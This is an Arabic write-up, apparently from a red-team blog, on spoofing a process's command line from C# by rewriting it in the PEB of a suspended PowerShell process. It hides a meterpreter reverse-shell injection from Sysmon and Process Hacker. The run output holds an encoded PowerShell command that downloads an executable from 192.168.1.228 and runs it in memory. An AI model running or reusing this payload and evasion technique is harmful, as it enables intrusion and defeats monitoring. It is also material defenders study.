
كيفية تزوير سطر الأوامر عند إنشاء عملية جديدة من C#.
مثال على استخدام C# لحقن شيل meterpreter مع تزوير سطر الأوامر. يتم تخزين سطر الأوامر في كتلة بيئة العملية (PEB)، ويتم تسجيله عند بدء عملية جديدة، ويتم عرضه في أدوات مثل Process Hacker وTask Manager.
هذا الكود مبني على مقالة How to Argue like Cobalt Strike بقلم Adam Chester/XPN، تشرح المقالة كيفية تزوير Cobalt Strike لسطر الأوامر الخاص بالعملية عند حقن beacon.
استخدمت ذلك كأساس لإنشاء نسخة C# تقوم بتوليد عملية PowerShell وحقن شيل meterpreter عكسي. صحيح أنه لا حاجة لوجود ثنائي .Net لفعل ذلك ولكنه يوضح كيف يمكن تزوير الأوامر.
يتم بدء عملية جديدة في حالة معلقة مع وسيط سطر أوامر مزيف.
يتم تسجيل الأمر المزيف ولكن يمكننا تغيير سطر الأوامر في PEB الخاص بالعملية. عند استئناف الخيط الرئيسي، تستخدم العملية سطر الأوامر الجديد في PEB.
يظهر تنفيذ الكود أدناه:
[+] Spoofing command: powershell.exe nothing to see here! :-P
[+] Process spawned, PID: 8588
[+] PEB Address: 0x2B2366F000
[+] ProcessParameters Address: 0x1EF61560000
[+] CommandLine Address: 0x1EF615606BC
[+] Original CommandLine: powershell.exe nothing to see here! :-P
[+] New CommandLine: powershell.exe -exec bypass -enc WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgAyADgALwBwAC4AZQB4AGUAIgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAKAAsACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAgACgAJwAxADkAMgAuADEANgA4AC4AMQAuADIAMgA4ACcALAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAUABJAEQALAAgACcAMQAwACcAKQApACkAOwB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADAAMAB9AA== , written to process
[+] Resuming process
هذا المثال يقوم بحقن شيل meterpreter عكسي باستخدام PowerShell ولكن يتم تسجيله مع وسيط سطر أوامر مزيف.
يسجل Sysmon سطر الأوامر الأصلي (المزيف):

لا يكشف Process Hacker عن الأمر المنفذ:
